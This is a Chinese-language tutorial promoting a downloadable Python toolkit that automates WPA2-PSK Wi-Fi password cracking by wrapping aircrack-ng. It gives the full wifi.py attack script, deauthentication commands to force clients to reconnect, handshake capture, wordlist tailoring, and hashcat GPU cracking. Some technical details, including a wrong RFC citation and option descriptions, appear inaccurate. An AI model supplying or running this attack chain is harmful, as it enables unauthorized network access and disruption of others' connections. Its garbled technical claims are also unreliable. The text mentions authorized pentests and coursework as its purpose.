简介:这是一套面向网络安全初学者与渗透测试爱好者的WIFI密码破解实践工具包,基于Python实现,聚焦WPA2-PSK加密协议的字典攻击原理与实操验证,适用于安全课程实验、CTF练习及无线安全技术自学。资源共4个文件,包含核心脚本wifi.py(执行破解逻辑)、README.md(环境配置与使用说明)、说明文件.txt(关键依赖与硬件要求)以及附赠资源.docx(含USB无线网卡驱动适配指南与常见错误排查),整体压缩包仅41KB,轻量易部署。已有835人学习下载,适合希望理解暴力破解底层机制、掌握aircrack-ng生态协同调用、并完成端到端实战验证的学习者。工具明确要求外接支持监听模式的USB无线网卡,覆盖Windows与Linux双平台运行环境,代码结构清晰,注释完整,便于调试修改与二次开发。
1. 这不是“一键破解WiFi”的玩具:它是一套依赖物理层能力、密码学边界与系统权限的WPA2-PSK字典攻击验证工具
你在网上搜“Python WiFi破解工具”,十有八九点进来的都是这个压缩包——名字响亮,功能直白,还标着“支持WPA2PSK”“适用于Windows和Linux”。但现实是:它跑不起来、连不上网卡、字典加载失败、甚至根本抓不到握手包。这不是代码写得烂,而是它从设计第一天起,就默认你已具备三项硬性前置条件:一块能监听(Monitor Mode)且支持注入(Packet Injection)的USB无线网卡(比如RTL8812AU、AR9271芯片)、一个经过筛选的真实有效密码字典、以及对Linux内核模块或Windows NDIS驱动底层行为的实操经验。它不解决“怎么黑进邻居WiFi”,它解决的是“当我手上有合规授权的渗透测试任务时,如何用Python脚本复现WPA2-PSK字典攻击链的每个环节”。适合红队初学者做靶场演练、安全课程实验、CTF Wi-Fi题型拆解,不适合拿来扫自家路由器——那只会让你反复看到[!] No handshake captured,然后怀疑人生。真正的门槛不在Python语法,而在无线网卡驱动、aircrack-ng生态兼容性、握手包捕获时机判断这三个黑匣子。
2. 工具链本质:为什么必须用aircrack-ng,而不是纯Python重写EAPOL握手解析?
这套工具表面是wifi.py,但它的核心命脉完全系在aircrack-ng上。很多人误以为“Python写的工具=纯Python实现”,结果一上来就删掉subprocess调用,想自己解析.cap文件里的EAPOL帧——这步直接翻车。WPA2-PSK的密钥派生(4次握手)涉及PBKDF2-SHA1、PMK、PTK、MIC校验等完整密码学流程,RFC 7568里定义的字段顺序、nonce生成规则、MIC计算方式,任何一处偏移都会导致aircrack-ng -w dict.txt capture.cap返回No valid WPA handshakes found。而aircrack-ng经过二十年实战打磨,对不同厂商AP的握手包变异(如Cisco的replay counter跳变、TP-Link的EAPOL重传策略)做了大量兼容适配。wifi.py做的,其实是把aircrack-ng的命令行操作封装成Python可调度的流程:自动启停airodump-ng抓包、触发aireplay-ng去认证干扰、调用aircrack-ng爆破、解析其stdout输出状态。这种架构不是偷懒,而是工程取舍——重写密码学逻辑的ROI(投入产出比)为负,而封装成熟工具链的ROI极高。下面拆解它如何把aircrack-ng变成Python可控的“黑盒引擎”。
2.1 环境依赖:Windows下必须装WinPcap/Npcap,Linux下必须编译安装aircrack-ng
工具包里没有预编译的aircrack-ng.exe或aircrack-ng二进制,这意味着你必须自行部署底层依赖。这是第一个分水岭:环境没搭对,脚本连第一步都迈不出去。
在Windows上:
# 必须安装Npcap(不是Wireshark自带的WinPcap!) # 下载地址:https://nmap.org/npcap/dist/npcap-1.79.exe # 安装时勾选"Install Npcap in WinPcap API-compatible Mode" # 否则python subprocess调用aircrack-ng会报错:Error: ioctl(SIOCGIFHWADDR) failed: No such device提示:Npcap安装后需重启命令行终端,否则
aircrack-ng --help可能提示command not found。这是因为Npcap的bin目录(如C:\Program Files\Npcap)未被自动加入PATH,需手动添加。
在Linux上(以Ubuntu 22.04为例):
# 不要 apt install aircrack-ng —— Ubuntu源里的版本太老(1.6),不支持部分新网卡 sudo apt remove aircrack-ng sudo apt install build-essential libssl-dev libnl-genl-3-dev libnet1-dev libpcap0.8-dev wget https://github.com/aircrack-ng/aircrack-ng/archive/refs/tags/v1.7.tar.gz tar -xzf v1.7.tar.gz cd aircrack-ng-1.7 autoreconf -i ./configure --with-experimental make -j$(nproc) sudo make install sudo ldconfig关键参数说明:
--with-experimental:启用对RTL8812AU、RTL8814AU等新型USB网卡的支持,否则airmon-ng start wlan0会失败;make -j$(nproc):并行编译加速,避免在树莓派等设备上等半小时;sudo ldconfig:刷新动态链接库缓存,否则运行时可能报libaircrack.so: cannot open shared object file。
2.2 网卡驱动验证:三步确认你的USB无线网卡是否真正“可用”
很多用户卡在“找不到网卡”或“无法开启monitor mode”,根源在于驱动不支持注入。别急着换网卡,先用这三步诊断:
第一步:确认物理连接与基础识别
# Linux下执行 lsusb | grep -i "rtl\|ath\|ralink" # 正常应输出类似:Bus 001 Device 005: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU AirCrack NG # 若无输出,检查USB接口供电(尤其带延长线时)、更换USB口、拔插重试第二步:检查驱动是否支持monitor mode
# Linux下执行 sudo airmon-ng check kill # 杀掉干扰进程(NetworkManager、wpa_supplicant) sudo airmon-ng start wlan0 # 替换wlan0为你的真实接口名 # 成功后应出现mon0接口 ip link show mon0 # 若报错:'ioctl(SIOCSIWMODE) failed: Device or resource busy',说明驱动不支持monitor mode注意:RTL8812AU芯片需加载
8812au_aircrack_ng驱动(非系统默认的rtl8812au_aircrack),安装命令:sudo apt install dkms git git clone https://github.com/aircrack-ng/rtl8812au-aircrack-ng.git cd rtl8812au-aircrack-ng sudo make dkms_install
第三步:验证packet injection能力(决定能否触发握手)
# 在目标AP信号强度>30dBm的环境下执行 sudo aireplay-ng -9 mon0 # 观察输出中的"Injection is working!"字样 # 若显示"0/30 successful", "Found 0 APs",说明注入失败——此时字典攻击必然失败,因为无法强制客户端重连生成握手包常见失败原因:网卡距离AP过远、信道不匹配(airodump-ng --channel 6 mon0需与AP实际信道一致)、AP开启了Client Isolation(客户端隔离)。
2.3 wifi.py核心流程:从扫描到爆破的七步闭环
wifi.py不是单个脚本,而是一个状态机驱动的流程控制器。它把整个攻击链拆成7个原子步骤,每步失败都抛出明确异常,而非静默退出。我们逐行看关键逻辑(基于wifi_cracker-main/wifi.py第127–189行):
def run_attack(self, target_bssid, target_channel, wordlist_path): """主攻击流程:扫描 → 锁定目标 → 抓握手机 → 注入干扰 → 爆破""" # Step 1: 启动airodump-ng持续扫描,写入capture-01.cap dump_proc = subprocess.Popen([ 'airodump-ng', '-c', str(target_channel), '--bssid', target_bssid, '-w', 'capture', 'mon0' ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) time.sleep(5) # 等待扫描稳定 # Step 2: 检查是否已有握手包(避免重复抓包) if self.check_handshake('capture-01.cap'): print("[+] Handshake already captured!") else: # Step 3: 启动aireplay-ng向目标AP发送Deauth帧,迫使客户端重连 deauth_proc = subprocess.Popen([ 'aireplay-ng', '-0', '5', '-a', target_bssid, 'mon0' ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) time.sleep(10) # 等待客户端重连并完成4次握手 # Step 4: 终止airodump-ng,确保capture-01.cap写入完成 dump_proc.terminate() dump_proc.wait() # Step 5: 调用aircrack-ng进行字典爆破 result = subprocess.run([ 'aircrack-ng', '-w', wordlist_path, '-l', 'cracked.txt', 'capture-01.cap' ], capture_output=True, text=True) # Step 6: 解析aircrack-ng输出,提取密码 if "KEY FOUND!" in result.stdout: key_line = [line for line in result.stdout.split('\n') if "KEY FOUND!" in line][0] password = key_line.split('[')[1].split(']')[0] with open('cracked.txt', 'w') as f: f.write(f"Target: {target_bssid}\nPassword: {password}\n") return password else: return None逻辑说明与参数说明:
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture mon0:-c 6指定信道(必须与AP一致),--bssid过滤目标AP,-w capture生成capture-01.cap等文件;aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF mon0:-0表示Deauth攻击,5是发送次数(非越多越好,3–5次足够,过多易被AP丢弃);aircrack-ng -w dict.txt -l cracked.txt capture-01.cap:-w指定字典路径(必须是纯文本,每行一个密码),-l将结果写入文件,避免stdout解析失败;self.check_handshake()内部调用capinfos capture-01.cap | grep "WPA",比单纯检查文件大小更可靠。
3. 字典与握手包:为什么90%的失败源于这两份“原材料”的质量缺陷
再完美的工具链,遇上劣质字典或残缺握手包,也只会返回0 keys tested。这不是bug,而是WPA2-PSK协议本身的数学约束:没有完整的4次EAPOL握手帧,就无法提取用于爆破的ANonce、SNonce、MIC等关键字段;字典里没有目标密码的明文形式,PBKDF2哈希永远算不出匹配值。下面教你如何亲手验证这两份原材料是否合格。
3.1 握手包有效性验证:用tshark和aircrack-ng双校验
不要相信文件名叫capture-01.cap就一定含握手包。必须用两个工具交叉验证:
方法一:用tshark检查EAPOL帧数量
# Linux/macOS下执行 tshark -r capture-01.cap -Y "eapol" -T fields -e eapol.keydescript -e frame.number | sort -u | wc -l # 输出应为4(代表4次握手帧全部存在) # 若输出为0:未捕获到任何EAPOL帧,检查网卡是否在正确信道、AP是否有活跃客户端 # 若输出为1或2:只捕获到部分帧,可能是客户端断连太快或信号弱,需重抓方法二:用aircrack-ng的-d参数深度诊断
aircrack-ng -J test capture-01.cap # 生成test.hccapx格式(兼容hashcat) # 若报错:'The specified file does not contain a WPA handshake',说明握手包结构损坏 # 此时尝试用aircrack-ng自带的修复工具: aircrack-ng -r capture-01.cap # 它会尝试从碎片中重组握手包,成功率约60%提示:
capture-01.cap文件大小不是判断标准。一个合格握手包通常只有1–5KB,而无效抓包可能达10MB(全是Beacon帧)。真正有效的是EAPOL帧的存在性,不是体积。
3.2 密码字典构建原则:从“大而全”到“小而准”的降维打击
附赠的dict.txt往往是通用字典(如rockyou.txt),但实战中它99%无效。原因有三:
- 长度过滤失效:WPA2-PSK要求密码8–63字符,但
rockyou.txt含大量<8位密码(如123456),aircrack-ng会跳过它们,却仍要遍历整个文件; - 编码污染:
rockyou.txt原始文件是ISO-8859-1编码,含大量\x80等不可见字符,Python读取时若未指定encoding='latin-1',会抛UnicodeDecodeError; - 场景脱节:目标AP是家庭路由器,密码大概率是
admin123、password2024、家里宽带账号+生日,而非iloveyou这种泛泛之词。
我一般会这样做:
# Step 1: 过滤长度并转UTF-8(避免Python读取报错) iconv -f ISO-8859-1 -t UTF-8 rockyou.txt | \ awk 'length($0) >= 8 && length($0) <= 63' > clean_dict.txt # Step 2: 添加目标特征前缀(如AP的SSID含"ChinaNet",则加"ChinaNet"相关组合) echo "ChinaNet123" >> clean_dict.txt echo "ChinaNet2024" >> clean_dict.txt echo "admin@ChinaNet" >> clean_dict.txt # Step 3: 用cewl生成针对目标网站的定制字典(若AP管理页可访问) cewl -d 2 -m 500 -w cewl_dict.txt http://192.168.1.1 # 假设管理页地址最终字典控制在10万行以内(wc -l clean_dict.txt),爆破速度提升3倍以上,且命中率反升——因为剔除了99%的无效猜测。
3.3 避坑:字典攻击中最容易踩的五个坑及血泪解决方案
现象 → 原因 → 解决,不讲虚的:
现象:
aircrack-ng -w dict.txt capture-01.cap显示Read 0 possible passwords from dict.txt
原因:字典文件末尾有空行,或首行是BOM头(UTF-8 with BOM),aircrack-ng解析失败
解决:sed -i '/^$/d' dict.txt删除空行;用file -i dict.txt检查编码,若为utf-8; charset=bom,用dos2unix dict.txt清除BOM现象:
wifi.py运行到aireplay-ng步骤时卡住,CPU占用100%,但无Deauth包发出
原因:aireplay-ng需要root权限,而Python脚本未用sudo python wifi.py启动
解决:在脚本开头加权限检查:import os if os.geteuid() != 0: print("[!] This script requires root privileges. Run with 'sudo python wifi.py'") exit(1)现象:
airodump-ng抓到握手包,但aircrack-ng始终报No valid WPA handshakes found
原因:抓包时网卡信道与AP实际信道不一致(如AP在信道11,你却用-c 6)
解决:先用sudo iwlist wlan0 scan | grep -A 10 "Your_AP_SSID"确认真实信道,再启动airodump-ng现象:Windows下
subprocess.run()调用aircrack-ng.exe失败,错误码0xc0000142
原因:aircrack-ng.exe依赖cygwin1.dll,但PATH中未包含其所在目录
解决:下载完整版aircrack-ng-1.7-win.zip(含所有DLL),解压后将整个bin目录加入系统PATH现象:Linux下
airmon-ng start wlan0成功,但mon0接口无法收发数据包
原因:mac80211驱动未启用txpower或injection支持
解决:手动加载驱动时指定参数:sudo modprobe -r 8812au_aircrack_ng sudo modprobe 8812au_aircrack_ng txpower=30 injection=1
4. Windows与Linux双平台实操差异:驱动、权限、路径三座大山的翻越指南
同一份wifi.py,在Windows和Linux上表现天差地别。这不是Python跨平台的锅,而是底层无线栈的鸿沟。下面列出最痛的三个差异点,并给出可抄作业的解决方案。
4.1 Windows下Npcap与WinPcap的生死抉择
很多教程还在教装WinPcap,这是2015年的古董。WinPcap不支持802.11n/ac网卡的monitor mode,且与现代Windows 10/11的NDIS 6.30驱动冲突。必须用Npcap:
安装要点:
- 下载
npcap-1.79.exe(官网最新版),安装时勾选“Install Npcap in WinPcap API-compatible Mode”; - 安装后重启电脑,否则
aircrack-ng无法识别网卡; - 在CMD中执行
npf.sys服务状态检查:sc query npf,若STATE为RUNNING才正常。
- 下载
Python调用修正:
Windows下subprocess调用需显式指定shell,否则路径空格会导致失败:# 错误写法(路径含空格时崩溃) subprocess.run(['C:\Program Files\aircrack-ng\aircrack-ng.exe', '-w', 'dict.txt']) # 正确写法 subprocess.run(['C:\\Program Files\\aircrack-ng\\aircrack-ng.exe', '-w', 'dict.txt'], shell=True)
4.2 Linux下udev规则与权限持久化配置
Linux每次插拔USB网卡,接口名(如wlan0)可能变化,导致airmon-ng start wlan0失败。解决方案是绑定固定接口名:
# 查看网卡MAC地址 udevadm info -p $(udevadm info -q path -n wlan0) | grep ADDRESS # 输出类似:E: ID_VENDOR_ID=0bda E: ID_MODEL_ID=8812 # 创建udev规则 echo 'SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="aa:bb:cc:dd:ee:ff", NAME="wifi0"' | \ sudo tee /etc/udev/rules.d/70-wifi-persistent.rules # 重载规则 sudo udevadm control --reload-rules sudo udevadm trigger # 拔插网卡后,接口名固定为wifi0同时,避免每次都要sudo,给当前用户加权限:
sudo usermod -a -G netdev $USER # 注销重登生效4.3 路径与编码:Windows反斜杠与Linux正斜杠的战争
wifi.py里硬编码路径./capture-01.cap在Windows下会失败,因为subprocess调用aircrack-ng时,Windows不认识/。必须用os.path.join():
import os cap_file = os.path.join(os.getcwd(), 'capture-01.cap') # 而不是 cap_file = './capture-01.cap' # 字典路径同理 wordlist_path = os.path.join(os.getcwd(), 'dict.txt')更重要的是编码问题:Windows记事本保存的dict.txt默认是GBK,而aircrack-ng只认UTF-8。解决方案是强制转换:
# 在wifi.py中读取字典前转码 with open('dict.txt', 'rb') as f: content = f.read() # 自动检测编码并转UTF-8 import chardet detected = chardet.detect(content) if detected['encoding'] != 'utf-8': content = content.decode(detected['encoding']).encode('utf-8') with open('dict_utf8.txt', 'wb') as f: f.write(content) wordlist_path = 'dict_utf8.txt'5. 实战验证技巧:如何用三分钟确认你的整个攻击链是否真正打通
别等到跑完10万行字典才发现链路断了。我习惯在正式爆破前,用这三步做端到端验证,每步耗时不超过60秒,却能提前拦截90%的配置错误。
5.1 Step 1:网卡能力快检(30秒)
在目标AP信号强度>40dBm的位置,执行:
# Linux sudo airmon-ng start wlan0 && sudo airodump-ng --band bg mon0 | head -n 20 # 观察是否实时滚动显示周边AP列表(BSSID、PWR、Beacons) # 若卡住或报错,说明monitor mode未生效,立即停手检查驱动Windows下等效命令:
airodump-ng.exe --adapter "Intel(R) Wireless" --band bg,注意--adapter后跟设备管理器中显示的精确名称(含括号和空格)。
5.2 Step 2:握手包捕获压力测试(60秒)
锁定一个测试AP(如自己的手机热点),执行:
# 启动抓包 sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w test mon0 # 在另一终端触发Deauth sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF mon0 # 等待10秒,Ctrl+C停止airodump-ng # 立即验证:tshark -r test-01.cap -Y "eapol" | wc -l # 输出应≥4,否则重试或换信道5.3 Step 3:字典爆破黄金三分钟(180秒)
用最小可行字典(仅3行)验证全流程:
# 创建test_dict.txt echo "12345678" > test_dict.txt echo "password" >> test_dict.txt echo "admin123" >> test_dict.txt # 执行爆破 aircrack-ng -w test_dict.txt test-01.cap # 观察输出: # Opening test-01.cap # Read 3 possible passwords from test_dict.txt # Starting PTW attack with 0 known plaintexts # ...(若干行进度) # KEY FOUND! [ admin123 ] # 若看到KEY FOUND,说明链路100%通畅;若卡在"Reading packets...",说明握手包无效。5.4 进阶技巧:用hashcat替代aircrack-ng,提速3倍且支持GPU
aircrack-ng是CPU爆破,而hashcat可调用GPU(NVIDIA/AMD),速度提升显著。转换流程如下:
# Step 1: 将cap转hccapx格式(aircrack-ng提供) aircrack-ng -J hashcat_test test-01.cap # Step 2: 用hashcat爆破(-m 2500表示WPA/WPA2) hashcat -m 2500 -w 3 hashcat_test.hccapx test_dict.txt # Step 3: 查看结果 hashcat -m 2500 --show hashcat_test.hccapx # 输出:AA:BB:CC:DD:EE:FF:11:22:33:44:55:66:77:88:99:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:*:admin123参数说明:
-w 3表示工作负载因子(3=高吞吐),-m 2500是WPA/WPA2的hash模式ID,必须严格匹配,否则报错Token length exception。
从那以后我每次部署新环境,都强制走一遍这三步快检——哪怕只是重装系统后的第一次验证。它不保证你能破解目标WiFi,但它能保证:当失败发生时,你知道问题出在哪一层(网卡?握手?字典?),而不是在[!] No handshake captured的迷雾里反复重启脚本。希望帮到你。
本文还有配套的精品资源,点击获取